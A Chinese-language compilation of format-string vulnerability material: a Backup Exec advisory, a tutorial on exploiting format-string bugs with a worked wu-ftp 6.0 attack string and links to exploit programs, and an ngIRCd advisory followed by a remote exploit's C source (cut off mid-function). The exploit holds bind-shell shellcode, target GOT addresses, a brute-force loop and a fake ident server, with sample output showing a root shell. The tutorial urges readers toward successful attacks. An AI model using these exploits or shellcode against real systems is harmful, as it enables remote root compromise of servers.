下面是小编为大家整理的veritas backup exec服务作业日志格式串处理漏洞其他漏洞,本文共9篇,供大家参考借鉴,希望可以帮助到有需要的朋友。

篇1:veritas backup exec服务作业日志格式串处理漏洞其他漏洞
受影响系统:
symantec backup exec for windows servers 9.1
symantec backup exec for windows servers 10.1
symantec backup exec for windows servers 10.0
描述:
veritas backup exec是新一代备份和恢复解决方案,
backup exec for windows servers媒体服务器的bengine.exe在以畸形格式的文件名备份文件时存在格式串漏洞,本地攻击者可能利用此漏洞在主机上执行任意指令,
仅在将作业日志配置为以“full detailed”模式运行时才会出现溢出,但这种模式不是默认配置,且不常用。成功利用这个漏洞要求授权访问备份系统。恶意用户可以在系统中放置特别配置的文件,如果backup exec for windows servers媒体服务器启用了full detailed日志模式的话,运行特制文件就会导致媒体服务器崩溃,或可能执行任意指令。
补丁下载:
support.veritas.com/docs/282254
关 键 字:其他漏洞
篇2:浅析格式化串漏洞
作者:isno (isno@sina.com)
-----------------目录-------------------
一.前言
二.基础知识简介
三.格式化串漏洞原理
(1)参数个数不固定造成访问越界数据
(2)利用%n格式符写入跳转地址
(3)利用附加格式符控制跳转地址的值
(4)总结
四.对wu-ftp 6.0格式化串漏洞的分析
(1)问题出现在哪里
(2)wu-ftp漏洞的利用
五.后记
----------------------------------------
一.前言
最近许多软件被发现存在格式化串漏洞,其中最著名的是wu-ftp6.0和rpc.statd,由于
相当多的网站缺省安装了这两种软件,而且网上针对这两个漏洞的攻击程序很多很好用,所
以由这两个漏洞而被攻破的网站非常之多,因此非常有必要认真研究一下格式化串漏洞,但
网上介绍格式化串漏洞的中文文章却特别少,就我知道的只有一篇warning3写的和另一篇
xuzq翻译的文章,我又参考了几篇英文文章,费了半天工夫看的头疼了才搞明白这种漏洞的
机理。
由于那几篇文章写的较为深奥,像我这样的普通初学者看起来很费劲,我想就我的理解
写一篇浅显一点的文章,使其他像我一样的菜鸟免受头疼之苦,同时也把这篇文章作为备忘
材料,等我以后忘了再回过头来看看:-)由于本人水平有限,谬误之处再所难免,欢迎多多
指教。
二.基础知识简介
在了解格式化串漏洞之前有必要复习一下关于堆栈的基础知识,网上介绍缓冲区溢出的
文章很多,其中大多都介绍了堆栈的知识,读者可以自行参考那些文章,我在这里只是简单
的介绍一下。
一个程序的动态数据通过一块叫做堆栈的区域来存放。堆栈处于内存的高端,它有个特
性:后进先出。当程序中调用子函数时,计算机首先把参数依次压入堆栈,然后把指令寄存
器(EIP)中的内容做为返回地址(RET)压入堆栈,第三个压入堆栈的是基址寄存器(EBP),然后
把当前的栈顶指针(ESP)拷贝到EBP,做为新的基地址。最后把ESP减去一定的数值,用来为本
地变量留出一定空间。
普通的缓冲区溢出就是利用了堆栈生长方向和数据存储方向相反的特点,用后存入的数
据覆盖先前压栈的数据,一般是覆盖返回地址,从而改变程序的流程,这样子函数返回时就跳到了
指定的地址,就可以按照 意愿做任何事情了。
格式化串漏洞和普通的缓冲溢出有相似之处,但又有所不同,它们都是利用了程序员的
疏忽大意来改变程序运行的正常流程。下面详细介绍格式化串漏洞的原理,最后对wu-ftp6.0
格式化串漏洞进行一下分析。
三.格式化串漏洞原理
所谓格式化串,就是在*printf系列函数中按照一定的格式对数据进行输出,可以输出
到标准输出,即printf(),也可以输出到文件句柄,字符串等,对应的函数有fprintf,sprintf,
snprintf,vprintf,vfprintf,vsprintf,vsnprintf等。能被 利用的地方也就出在这一系列
的*printf()函数中,可能有人会问:这些函数只是把数据输出了,怎么能造成安全隐患呢?
在正常情况下当然不会造成什么问题,但是*printf()系列函数有三条特殊的性质,这些特殊
性质如果被 结合起来利用,就会形成漏洞。
(注:以下测试环境为RedHat Linux 6.0)
#可以被 利用的*printf()系列函数的三个特性:
(1)参数个数不固定造成访问越界数据
首先第一个可以被利用的性质是:*printf()系列函数的参数的个数是不固定的。拿printf()
函数举例来说,如果我们要依次输出3个整型数据和1个字符串,可以用以下程序:
#include
int main(void)
{
int i=1,j=2,k=3;
char buf[]=“test”;
printf(“%s %d %d %d\n”,buf,i,j,k);
return 0;
}
这是正常的使用方法,程序会输出:
test 1 2 3
这个printf()函数共有5个参数,第一个是格式化串“%s %d %d %d\n”,第二个是字符串buf的
地址,%s对应buf,其后的三个%d分别对应i,j,k,这样就把数据输出了。但是如果我们减少printf()
函数的参数个数,写成这样:
printf(“%s %d %d %d\n”,buf,i,j);
格式化输出符号仍然是4个,但对应的数据却只剩下3个了(buf,i,j)了,那么情况会怎样呢?
我们编译运行一下看看,这个程序输出:
test 1 2 1953719668
我们可以清楚的看到,尽管没有给最后一个%d提供对应的数据,但是它还是输出了一个10位的
整数1953719668,这个大整数到底是什么呢?我们再修改源程序,把输出的语句改为:
printf(“%s %d %d %x\n”,buf,i,j);
即按照16进制输出最后一个参数,这时输出的结果就是:
test 1 2 74736574
也就是说,当没有给printf()函数的格式化串提供足够的对应参数时,printf()并没有报错,而
是把内存中某个4字节的内容打印了出来,这四个字节的内容是74736574。
那么74736574究竟是什么玩意呢?如果你对ASCII码熟悉的话应该可以反映过来,字符串在内存
当中是以ASCII码的形式存储的,它们有如下对应关系:
十六进制 十进制 字符
74 ---------->116 --------->t
73 ---------->115 --------->s
65 ---------->101 --------->e
74736574对应的字符串恰好是tset,由于字符串在内存当中是以反序排列的,74736574对应的
实际字符串应该是:test。是不是看起来有点眼熟?翻回前面再看看那个程序,对了,就是我们在程序
中定义的字符串buf[]的内容。这决不是偶然的,回忆一下前面说过的堆栈的工作流程,我们可以想象
到这个程序在堆栈中的情况:
i) 调用main()函数之前首先把返回地址压栈;
ii) 然后压入的是EBP,并把ESP拷贝到EBP;
iii)把ESP减去一定的数量,也就是把堆栈扩大,给变量i,j,k,buf留出空间;
iv) 开始调用printf(),把printf()的4个参数j,i,buf和格式串“%s %d %d %x\n”依次压入堆栈;
v) 压入printf()的返回地址;
vi) 压入此时的EBP;
vii)开始执行printf()。
这时候的堆栈看起来应该是这个样子的:
栈顶 栈底
--------------------------------------------------------------------------
| EBP | EIP | 格式串| buf地址| i | j |buf内容| \0 | k | j | i | EBP | EIP|
--------------------------------------------------------------------------
看到堆栈的实际内容,就不难理解为什么会打印出74736574即“test”了,printf()首先找到第
一个参数格式串“%s %d %d %x\n”,然后就开始按照对应关系依次打印前面堆栈中内容,%s对应
buf地址,也就打印出了buf[]的内容,第一个%d对应i,第二个%d对应j,%x本来是应该对应k的,可是
由于我们提供给printf()的参数中没有k,而j前面正好是buf内容,所以就把buf的内容作为16进制
数输出了,也就是我们看到的74736574。可以预测,如果提供给printf()的格式串中再多几个%x的话,
printf()还会继续打印前面堆栈里的“\0”(buf的结束符),k,j,i,EBP,EIP等内容。
说到这里,已经把产生格式化串漏洞的根源揭露出来了:因为*printf()系列函数的参数的个数
是不固定的,如果其第一个参数即格式串是由用户来提供的话,那么用户就可以访问到格式串前面的
堆栈里的任何内容了。
之所以会出现格式化串漏洞,就是因为程序员把printf()的第一个参数即格式串,交给用户来
提供,如果用户提供特定数量的%x(或%d,%f,随你的便啦),就可以访问到特定地址的堆栈内容。
有些人会说:“靠!你费了这么半天劲,就只是为了打印出了前边堆栈里的内容啊?”我们当然不
只是为了看看堆栈里的内容,我们是要改变堆栈的内容,改变返回地址,使程序跳去执行我们提供的
代码,这就需要联系上*printf()系列函数的第二个特殊的性质。
(2)利用%n格式符写入跳转地址
到目前为止我们都只是显示内存的内容而没有改变它,但是利用*printf()的一个特殊的格式符
%n,我们就向内存中写入内容。
%n是一个在编程中不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址,
为了搞清其具体用法和性质,我们看一看下面的例程:
#include
int main(void)
{
int num;
int i=1,j=2,k=3;
printf(“%d%d%d%n\n”,i,j,k,&num);
printf(“%d\n”,num);
return 0;
}
运行显示:
123
3
可以看出,%n的作用就是把已经打印出来字符的数量保存到对应的内存地址当中,这里是num当中。
注意,这里必须对应一个内存地址,%n把字符数写入到这个地址的内存。如果把上述语句改成:
printf(“%d%d%d%n\n”,i,j,k,num);
这样就会出现段访问错误。强调这一点很重要,因为在实际利用某个漏洞时,并不是直接把跳转
地址写入函数的返回地址单元,而是写入一个存放着函数的返回地址的地址当中,即经常说的retloc,
这个存放函数的返回地址的地址通常在我们提供的字符串的前面,这么说可能有点绕,换种说法,就是
说我们并不直接覆盖返回地址,而是通过地址来间接的改写返回地址,这一点经常有人混淆,如果你还没
理解的话,可以仔细体会一下C语言中指针的用法,它们之间有相似之处。
好的,到目前为止我们已经知道可以利用提交格式串来访问格式串前面堆栈里的内容,并且利用
%n可以向一个内存单元中的地址去写入一个值,既然我们可以访问到我们提交的串,就可以在我们提
交的串当中放上某个函数的返回地址的地址,这样就可以利用%n来改写这个返回地址。
但是但是,%n向内存中写入的值并不是随意的,它只能写入前面打印过的字符数量,而我们需要的
是写入我们存放shellcode的地址,就象普通溢出做的那样。这个问题实在是麻烦,可能有人会想:那
就用和跳转地址的数值相同多的数量的%d放在%n的前面不就行了?这样做理论上可行,但实际却不行,
因为堆栈在内存的高端,堆栈里面的内存地址也是一个相当大的数,如果我们用一个%d来对应4字节内容
即一个整型的话,首先数量太多就是一个问题,而且每4个字节的内存单元作为整数打印出来的话,它的
实际长度也是没法确定的,有的可能打印出一位的'1',有的则可能打印出5位的'45367',这是我们没法
预料的。
这时就需要利用到*printf()系列函数的第三个“良好”的性质了。
(3)利用附加格式符控制跳转地址的值
*printf()系列函数有个性质是:程序员可以定义打印字符的宽度。学过C语言的人肯定都知道这一点,
就是在格式符的中间加上一个整数,*printf()就会把这个数值作为输出宽度,如果输出的实际大于指定宽
度仍按实际宽度输出,如果小于指定宽度,则按指定宽度输出。例如我们可以用下面语句以100个字符的宽
度输出整数i:
printf(“%100d”,i);
而用printf(“%.100f”,i)的形式则是以100位的小数输出i。而printf(“%.f”,i)不是以1位小数输出,而是
以总共8位的带小数的数输出i。如果i等于1的话,输出应该是1.000000。由于这个“%.f”一次能向前推进8位,所
以它经常在实际攻击时被放在提交的格式串的中间,用来快速地到达返回地址处。
我们就可以利用这个特性来用很少的格式符来输出一个很大的数值到%n,而且这个数值是可以由我们
来指定的。我们所要做的就是作一些计算,把要返回的地址转化为整数,放到%n前面的格式串中。例如我们要
把200放入num中,则可以利用如下语句:
printf(“%.200d%n”,i,&num);
当这条语句执行完后,num的值就变成200了。如果用跳转地址的值代替200,那么%n就可以把跳转地址写入
num了。
(4)总结
好了,到这里已经把格式化串漏洞的所有理论依据都介绍完了。让我们再来回顾一下:
首先,如果程序中的*printf()系列函数中的格式串参数是由用户来提供的话,我们就可以提交给它一串
%d(或%f,%u等)来访问堆栈中格式串前面的任意内存单元。
在我们提交的格式串的后面加上一个%n格式符,我们就可以向堆栈中格式串前面的某个内存单元中写入
已经打印的字符数量。在实际攻击时通常是在提交的格式串前面放上存放着某个函数的返回地址的地址,然后
让%n恰好对应着这个地址值,这样写入到数值,就存放到函数返回地址当中了。
我们通过附加格式符来控制向函数返回地址中写入的值,一般是利用%n前面的最后一个格式符来控制
这个数值,这通常需要一些计算,计算方法一般是用shellcode的地址减去最后一个格式串前的所有格式串的
打印长度。这样%n写入的数值就恰好是shellcode的地址了。
理论上讲的只是理想情况,在实际攻击某个程序时往往会出现更多的问题,
首先要解决的是必须使%n正好
对应存放函数返回地址的地址,否则无法改变返回地址的值。这一点对于一些可重复启动且能够返回格式串的
程序来说是比较容易解决的,我们可以先不放入跳转地址,而是在提交的格式串前填上几个特殊字符,例如“abcd”,
然后在提交的格式串最后用%x代替%n来显示这个特殊字符串,我们要做的只是不断增加格式串中间的格式符的个
数,直到程序返回的值恰好是我们提交的特殊字符的ASCII码为止。这样我们就知道用来存放函数返回地址的地
址在什么位置了,然后我们再把真正的存放函数返回地址的地址放在格式串的前面,用%n作为格式串的结尾,这
样就可以把跳转地址正确的写进函数返回地址了。
当然这种方法需要被攻击的程序可以不断的启动而且能够返回提交的格式串的打印内容,wu-ftp6.0就是
这样的程序,所以针对wu-ftp6.0的格式串漏洞的攻击比较容易成功的。而有些程序则不行,例如cfengine,这
个程序被发现存在格式串漏洞已经很久了,但是一直没有可成功的攻击程序发布,主要就是因为一但向cfengine
发送格式串它就当掉了,所以无法多次猜测。对这种程序必须一次攻击就必须猜中存放函数返回地址的地址和
跳转地址,所以在现实的攻击中往往是不容易成功的。
另外一个难以解决的问题是,需要把精确的函数返回地址填在格式串开头,这样%n才能把跳转地址写进
正确的位置了。这个函数的返回地址一般是在写攻击程序时测试得到的,这在测试的机器上固然可以成功,但是
在不同机器上这个返回地址的值是根据环境变量和编译选项的不同而不同的,例如用rpm安装的wu-ftp和从源
代码编译安装的wu-ftp,它们的返回地址往往就是不同的,需要根据被攻击主机的实际情况进行调整。这只有根
据经验来确定,或者干脆用暴力法了猜测返回地址,但根据实际测试,即使用暴力法猜测返回地址,成功的概率
也是不大的。
还有就是跳转地址的问题,即shellcode的地址。因为我们要改写函数的返回地址,使它跳转去执行shellcode。
所以必须要知道shellcode的地址。这个问题相对容易解决,我们可以像普通溢出做的那样,在shellcode前面
填上一串NOP,这样只需要知道一个大概的地址范围就可以了,只要跳转到NOP的范围当中就可以执行shellcode
了。所以一般的攻击程序里的跳转地址往往是不需要调整的,因为只要在一个大概的地址范围当中就可以了。
好了,理论就讨论这么多,下面我们来看看Wu-ftp6.0的格式化串漏洞和利用的方法。
四.对wu-ftp 6.0格式化串漏洞的分析
(1)问题出现在哪里
wu-ftp(Washington University ftp server)是一个非常流行的unix/linux系统ftp服务器,它的6.0版本
存在格式化串漏洞。由于在大多数Linux系统中它是默认安装的,所以相当多的网站都受这个漏洞的影响,针对它
的攻击也是非常普遍的。
下面我们看看wu-ftp的源代码,究竟是哪里出现了可以被 利用的漏洞?
用户提交的“site exec”命令是由一个名为 void site_exec(char *cmd) 的函数来处理的,其中cmd是用户
提交的命令。在这个函数中有这么一个语句:
--------------ftpcmd.y文件 第1929行----------------------
lreply(200, cmd);
-----------------------cut here--------------------------
site_exec()函数把用户提交的命令交给lreply()函数来处理了,我们再看看lreply()函数的定义:
--------------ftpd.c文件 第5343行------------------------
void lreply(int n, char *fmt,...)
{
VA_LOCAL_DECL
if (!dolreplies)
return;
VA_START(fmt);
/* send the reply */
vreply(USE_REPLY_LONG, n, fmt, ap);
VA_END;
}
-----------------------cut here--------------------------
显然lreply()的第二个参数char *fmt应该是格式串,而在前面的调用中却把它交由用户命令来
提供,这就是造成问题的地方。继而lreply()有把fmt交给vreply()函数来处理,我们再来看看vreply()
的定义:
--------------ftpd.c文件 第5275行------------------------
void vreply(long flags, int n, char *fmt, va_list ap)
{
char buf[BUFSIZ];
flags &= USE_REPLY_NOTFMT | USE_REPLY_LONG;
if (n)
sprintf(buf, “%03d%c”, n, flags & USE_REPLY_LONG ? '-' : ' ');
/* This is somewhat of a kludge for autospout. I personally think that
* autospout should be done differently, but that's not my department. -Kev
*/
if (flags & USE_REPLY_NOTFMT)
snprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), “%s”, fmt);
else
vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), fmt, ap);
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
!!!注意这一句!!!
if (debug)
syslog(LOG_DEBUG, “<--- %s”, buf);
/* Yes, you want the debugging output before the client output; wrapping
* stuff goes here, you see, and you want to log the cleartext and send
* the wrapped text to the client.
*/
printf(“%s\r\n”, buf); /* and send it to the client */
#ifdef TRANSFER_COUNT
byte_count_total += strlen(buf);
byte_count_out += strlen(buf);
#endif
fflush(stdout);
}
-----------------------cut here-----------------------------------------------
由于提交给vreply()的第一个参数(即flags)是USE_REPLY_LONG,所以经过&=操作
之后flags仍然为USE_REPLY_LONG。这样(flags & USE_REPLY_NOTFMT)的值就为0。所以下面的
判断语句会进入else执行:
if (flags & USE_REPLY_NOTFMT)
snprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), “%s”, fmt);
else
vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), fmt, ap);
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
!!!注意这一句!!!
注意看要执行的vsnprintf()函数,它把fmt放在了格式串的参数位置上了。而这个fmt
正是由用户提交的命令cmd。回忆一下前面讲过的格式化串漏洞原理:如果*printf()系列
函数的格式串参数是由我们来提交的话,那么我们就可以用一串格式符来访问格式串前面
堆栈里的内容了,如果我们能访问到自己提交的内容,就可以在这内容的前面放上存放某个
函数返回地址的地址,然后就可以用%n来改写这个返回地址,使它跳转去执行我们提供
的shellcode。
(2)wu-ftp漏洞的利用
所以我们要想利用这个漏洞,需要先登陆上FTP服务器(编程实现,不用我们自己去登陆了),
用匿名用户(ftp,anonymous)登陆就可以,然后提交一个如下形式的site exec命令:
site| exe|c aa|retloc|%.f...%.f|%.(ret)d|%n
注意:其中的'|'符号是为了使读者看清楚字符串结构而加上的分隔符,实际提交的串里没有'|'。
这个由我们提交的格式串前面是site exec命令,后跟的“aa”的作用是为了使retloc以4字节
为单位对齐,就是我们通常所说的align。
然后紧跟着的retloc就是我们要写入的存放函数返回地址的地址,呆会儿我们要用%n来对应
它,就可以把跳转地址写入函数返回地址了。一般我们要改写的函数应该是最近的一个函数,这里
可以改写vreply()的返回地址,使它返回时跳去执行我们的shellcode。
在retloc后面放上一串%.f,前面说过%.f一次显示8位数字,在这里它的作用是显示在我们提
交的命令串之后压入堆栈的局部变量,使%n能够正好对应retloc。
然后紧跟着的%.(ret)d的作用是把打印的字符数量调整为正好是shellcode地址的值,使得%n
能够把已打印的字符数量,即shellcode的地址正好写进vreply()函数的返回地址当中。注意,这里
的ret并不是shellcode的地址,而应该是[shellcode地址-(%.f个数*8)-16]。其中的16是前面的
“site| exe|c aa|retloc|”的字符数。这样在%n之前打印的总符数就应该恰好为shellcode的地址
了。
最后的%n的作用当然就是为了把跳转地址(shellcode地址)写入vreply()的返回地址,使它返
回时跳转去执行shellcode。正如在讲格式化串漏洞原理时提到过的那样:%n并不是直接对应着返回
地址进行修改,而是对应着存放返回地址的地址,间接的修改了返回地址。因此虽然vreply()的返回
地址是比格式串后压入堆栈的,但是我们仍然可以改写它的内容。
还有重要的一点忘记说了。shellcode是什么时候提交的呢?我们可以把shellcode放进用户的密
码里提交给wu-ftpd,由于匿名用户的密码是可以随便指定的,所以这样做并不影响我们使用匿名登
陆进服务器。此时shellcode应该作为全局变量被存放在程序的Heap/BSS段里,而不是存放在堆栈里。
在本地机器上调试一下可以知道shellcode的大致地址为0x80756xx,这是在RedHat 6.0上的值,在其
它系统中会有所不同。由于我们可以在shellcode之前放上一堆NOP,所以也没必要知道shellcode的
精确位置,只要让程序跳转到NOP范围里就行了。
需要说明的是,这里的shellcode必须是带有突破chroot()功能的,因为如果用匿名用户登陆的
话,只能访问被chroot()保护的目录,即匿名用户登陆后的目录,这样就没法绑定/bin/sh了。所以要
在shellcode中先chroot()到根目录。网上有很多写得非常好的chroot shellcode,直接拿来用就可
以了。
以上就是攻击wu-ftp6.0格式化串漏洞的方法,现在流传着很多写得非常好的wu-ftp6.0攻击程
序,我本来想找其中一个来逐条语句解释出来的,但解释了几句之后发现太TMD麻烦了。而且也没有必
要解释攻击程序了,因为我已经把攻击这个漏洞的步骤都在前面解释过了。
这里只把我用过的几个比较好的攻击程序介绍给大家:
(1)攻击以rpm安装wuftp6.0的RedHat 6.0, 6.1, 6.2比较有效的程序:
go6.163.com/~antiroot/exploit/wu-lnx.c
(2)攻击安装wuftp6.0的FreeBSD和SuSe 6.3, 6.4比较有效的程序:
go6.163.com/~antiroot/exploit/wuftpd-god.c
(3)攻击安装wuftp6.0的solaris 2.x比较有效的程序:
go6.163.com/~antiroot/exploit/ftpd.c
根据我的经验,以rpm方式安装wuftp6.0的RedHat 6.0, 6.1, 6.2是最容易攻击成功的了,可能是
因为大多数攻击程序都是在这种系统环境下调试编写的。而用源代码编译安装的wuftp不容易攻击成功,
需要攻击者调整攻击程序中的某些参数,主要要修改的是retloc,也就是存放函数返回地址的地址,有
时候需要反复调整这个值才能攻击成功。
五.后记
本文的目的是把格式化串漏洞尽量用通俗易懂的语言解释出来,所以我在解释原理时没有用gdb等
工具的调试结果来讲,而是尽量地只讲原理本身,这样对于某些不熟悉调试器的读者来说可能比较容易
理解。也许有人还是会觉得本文写得不是很易懂,因为格式化串漏洞本身就是个比较复杂的东西,起码
需要读者了解一些关于C语言以及堆栈溢出的基本知识,这样才有助于理解本文。
也许有些人会说:“为什么非要搞清楚这个漏洞的技术细节呢?我不懂细节直接用攻击程序攻击一下
也能成功。”没错,在实际攻击的时候我们一般都是不怎么考虑细节问题的,但是但是但是,你的目标是成
为一个Hacker呢?还是一个Scriptkid?如果你的目标是前者,那毫无疑问你需要了解技术细节。如果是
后者,你同样也需要了解技术细节!!因为了解的细节越多,你攻击的成功率就越大了。
感谢warning3等nsfocus的同志,他们写的文章使我受益非浅。
参考文献:
<<*printf()格式化串安全漏洞分析>>---warning3
<<格式化字符串攻击>>---Tim Newsham(xuzq译)格式化字符串攻击>
<< Format Bugs:What are they,Where did they come from,...How to exploit them >>---lamagra
篇3:ngIRCd远程格式串漏洞
转自:绿盟科技
发布日期:-02-03
更新日期:2005-02-07
受影响系统:
ngIRCD ngIRCD 0.8.2
ngIRCD ngIRCD 0.8.1
描述:
--------------------------------------------------------------------------------
CVE(CAN) ID: CAN-2005-0226
ngIRCd是一款多平台上可使用的IRC守护程序,
ngIRCd中log.c的Log_Resolver()函数存在一个格式串问题,远程攻击者可以利用这个漏洞可能以守护进程权限在系统上执行任意指令。
问题存在于如下代码中:
----------- log.c ------------
261: vsnprintf( msg, MAX_LOG_MSG_LEN, Format, ap );
262: va_end( ap );
263:
264: /* Output */
265: if( NGIRCd_NoDaemon )
266: {
267: /* Output to console */
268: fprintf( stdout, “[%d:%d] %s\n”, (INT)getpid( ), Level, msg );
269: fflush( stdout );
270: }
271: #ifdef SYSLOG
272: else syslog( Level, msg );
273: #endif
----------- log.c ------------
在272行中由于没有正确过滤格式串数据,可导致覆盖内存数据,并以ngIRCd进程权限执行任意指令,一般ngIRCd进程为ROOT权限。
要进行有效攻击,要求ngIRCD编译时选择了IDENT以及记录到SYSLOG并且打开DEBUG开关。
<*来源:Coki (coki@nosystem.com.ar)
链接:marc.theaimsgroup.com/?l=bugtraq&m=110746413108183&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Coki (coki@nosystem.com.ar)提供了如下测试方法:
/* ngircd_fsexp.c
*
* ngIRCd <= 0.8.2 remote format string exploit
*
* Note:
* To obtain a successful exploitation, we need that
* ngIRCd has been compiled with IDENT, logging to
* SYSLOG and DEBUG enabled.
*
* Original Reference:
* www.nosystem.com.ar/advisories/advisory-11.txt
*
* root@servidor:/home/coki/audit# ./ngircd_fsexp
*
* ngIRCd <= 0.8.2 remote format string exploit
* by CoKi
*
* Use: ./ngircd_fsexp -h
*
* options:
* -h host or IP
* -p ircd port (by default 6667)
* -t type of target system
* -g syslog GOT address
* -o offset (RET addr by default 0x0806b000)
* -b brutefoce the RET address
* (from 0x0806b000 + offset)
* -l targets list
*
* root@servidor:/home/coki/audit# ./ngircd_fsexp -h victim -t 1 -o 10000
*
* ngIRCd <= 0.8.2 remote format string exploit
* by CoKi
*
* [*] host : victim
* [*] system : Slackware Linux 10.0
* [*] ircd version : ngircd-0.8.2.tar.gz
* [*] syslog GOT address : 0x08068094
* [*] verifying host : 10.0.0.2
*
* [*] trying RET address : 0x0806d710 (offset 10000)
* [*] building evil buffer : done!
* [*] running fake ident server : 0.0.0.0:113
*
* [*] connecting to ircd... : 10.0.0.2:6667 connected
* [*] waiting for answer... : 10.0.0.1:43260 connected
* [*] sending evil ident... : done!
* [*] checking for shell... : done!
*
* [!] you have a shell :)
*
* Linux victim 2.4.26 #29 Mon Jun 14 19:22:30 PDT i686 unknown unknown GNU/Linux
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
*
* by CoKi
* No System Group - www.nosystem.com.ar
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define IDENTD 113
#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define SHELL 5074
#define IRCD 6667
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);
void exploit(char *host, int gotaddr, int retaddr, int ircdport);
char shellcode[] = /* 92 bytes by s0t4ipv6 */
“\x31\xc0” // xorl %eax,%eax
“\x50” // pushl %eax
“\x40” // incl %eax
“\x89\xc3” // movl %eax,%ebx
“\x50” // pushl %eax
“\x40” // incl %eax
“\x50” // pushl %eax
“\x89\xe1” // movl %esp,%ecx
“\xb0\x66” // movb $0x66,%al
“\xcd\x80” // int $0x80
“\x31\xd2” // xorl %edx,%edx
“\x52” // pushl %edx
“\x66\x68\x13\xd2” // pushw $0xd213
“\x43” // incl %ebx
“\x66\x53” // pushw %bx
“\x89\xe1” // movl %esp,%ecx
“\x6a\x10” // pushl $0x10
“\x51” // pushl %ecx
“\x50” // pushl %eax
“\x89\xe1” // movl %esp,%ecx
“\xb0\x66” // movb $0x66,%al
“\xcd\x80” // int $0x80
“\x40” // incl %eax
“\x89\x44\x24\x04” // movl %eax,0x4(%esp,1)
“\x43” // incl %ebx
“\x43” // incl %ebx
“\xb0\x66” // movb $0x66,%al
“\xcd\x80” // int $0x80
“\x83\xc4\x0c” // addl $0xc,%esp
“\x52” // pushl %edx
“\x52” // pushl %edx
“\x43” // incl %ebx
“\xb0\x66” // movb $0x66,%al
“\xcd\x80” // int $0x80
“\x93” // xchgl %eax,%ebx
“\x89\xd1” // movl %edx,%ecx
“\xb0\x3f” // movb $0x3f,%al
“\xcd\x80” // int $0x80
“\x41” // incl %ecx
“\x80\xf9\x03” // cmpb $0x3,%cl
“\x75\xf6” // jnz
“\x52” // pushl %edx
“\x68\x6e\x2f\x73\x68” // pushl $0x68732f6e
“\x68\x2f\x2f\x62\x69” // pushl $0x69622f2f
“\x89\xe3” // movl %esp,%ebx
“\x52” // pushl %edx
“\x53” // pushl %ebx
“\x89\xe1” // movl %esp,%ecx
“\xb0\x0b” // movb $0xb,%al
“\xcd\x80” // int $0x80
;
struct {
int num;
char *os;
char *ircd;
int got;
}targets[] = {
1, “Slackware Linux 10.0”, “ngircd-0.8.1.tar.gz”, 0x080680d4,
2, “Slackware Linux 10.0”, “ngircd-0.8.2.tar.gz”, 0x08068094,
3, “Slackware Linux 9.0”, “ngircd-0.8.1.tar.gz”, 0x080662b4,
4, “Slackware Linux 9.0”, “ngircd-0.8.2.tar.gz”, 0x08066294
};
static int b=0;
int main(int argc, char *argv[])
{
char opt, *host=NULL, *system=NULL, *ircd=NULL;
int i, ircdport=IRCD;
int retaddr=0x0806b000, gotaddr=0, targetnum=0, ffset=0;
struct hostent *he;
printf(“\n ngIRCd <= 0.8.2 remote format string exploit\n”);
printf(“ by CoKi
while((opt = getopt(argc,argv,“h:g:t:lo:bp:”)) != EOF) {
switch (opt) {
case 'h':
host = optarg;
break;
case 'g':
gotaddr = strtoul(optarg,NULL,0);
system = “unknown”;
ircd = “unknown”;
break;
case 't':
targetnum = atoi(optarg)-1;
if(targets[targetnum].num) {
system = targets[targetnum].os;
ircd = targets[targetnum].ircd;
gotaddr = targets[targetnum].got;
}
else use(argv[0]);
break;
case 'l':
printlist();
break;
case 'o':
ffset = atoi(optarg);
retaddr += offset;
break;
case 'b':
b = 1;
break;
case 'p':
ircdport = atoi(optarg);
break;
default:
use(argv[0]);
break;
}
}
if(host == NULL) use(argv[0]);
if(gotaddr == 0) use(argv[0]);
if(system == NULL) {
system = “unknown”;
ircd = “unknown”;
}
printf(“ [*] host\t\t\t: %s\n”, host);
printf(“ [*] system\t\t\t: %s\n”, system);
printf(“ [*] ircd version\t\t: %s\n”, ircd);
printf(“ [*] syslog GOT address\t\t: %010p\n”, gotaddr);
printf(“ [*] verifying host\t\t:”);
fflush(stdout);
if((he=gethostbyname(host)) == NULL) {
herror(“ gethostbyname()”);
printf(“\n”);
exit(1);
}
printf(“ %s\n\n”, inet_ntoa(*((struct in_addr *)he->h_addr)));
/* bruteforce mode */
if(b) {
for(i = retaddr; i <= 0x0806ffff; i += 0x10) {
printf(“ [*] bruteforcing RET address\t: %010p”, i);
fflush(stdout);
exploit(host, gotaddr, i, ircdport);
}
printf(“\n [*] failed!\n\n”);
}
/* single mode */
else {
printf(“ [*] trying RET address\t\t: %010p”, retaddr);
fflush(stdout);
if(offset) printf(“ (offset %d)\n”, offset);
else printf(“\n”);
exploit(host, gotaddr, retaddr, ircdport);
}
}
void exploit(char *host, int gotaddr, int retaddr, int ircdport) {
char ident[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE];
int sock, newsock, sockfd, i, reuseaddr=1;
unsigned int bal1, bal2, bal3, bal4;
int cn1, cn2, cn3, cn4;
struct sockaddr_in dest_dir;
struct sockaddr_in remoteaddr;
struct sockaddr_in localaddr;
int addrlen = sizeof(struct sockaddr_in);
struct hostent *he;
if((he=gethostbyname(host)) == NULL) {
herror(“ gethostbyname()”);
printf(“\n”);
exit(1);
}
/* building evil buffer */
if(!b) {
printf(“ [*] building evil buffer\t:”);
fflush(stdout);
}
sprintf(ident, “0 , 0 : USERID : OTHER :”);
/* adding GOT address */
for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
